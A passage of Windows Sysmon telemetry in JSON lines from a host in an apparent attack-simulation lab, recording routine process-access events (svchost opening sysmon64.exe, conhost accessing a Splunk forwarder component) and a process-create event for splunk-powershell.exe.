C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6093,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6094,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6095,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6096,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6097,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6098,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6099,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.135\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41EE-5F2D-0000-0010A7030900}\r\nTargetProcessId: 4360\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.135","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41EE-5F2D-0000-0010A7030900}","TargetProcessId":"4360","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6100,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.948\r\nProcessGuid: {90617006-41EE-5F2D-0000-001087050900}\r\nProcessId: 5012\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.948","ProcessGuid":"{90617006-41EE-5F2D-0000-001087050900}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT 